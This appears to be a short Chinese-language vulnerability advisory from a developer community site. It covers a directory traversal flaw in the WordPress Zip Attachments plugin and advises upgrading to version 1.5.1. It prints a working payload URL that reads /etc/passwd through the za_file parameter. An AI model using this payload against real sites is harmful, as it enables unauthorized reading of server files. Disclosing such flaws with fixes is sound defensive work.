开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

社区首页 >专栏 >wordpress 任意文件下载漏洞

wordpress 任意文件下载漏洞

原创

作者头像

Khan安全团队

修改于 2021-10-18 10:31:15

1.1K0

修改于 2021-10-18 10:31:15

举报

文章被收录于专栏：Khan安全团队Khan安全团队

WordPress 1.5.1 之前的 Zip 附件插件中的 download.php 中的目录遍历漏洞允许远程攻击者通过 za_file 参数中的 ..（点点）读取任意文件。

Zip 附件 <= 1.1.4 - 任意文件下载

/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd

修复方案：

升级：Zip 附件插件 1.5.1

原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。

如有侵权，请联系 cloudcommunity@tencent.com 删除。

原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。

如有侵权，请联系 cloudcommunity@tencent.com 删除。

评论

登录后参与评论

0 条评论

热度

最新

LV.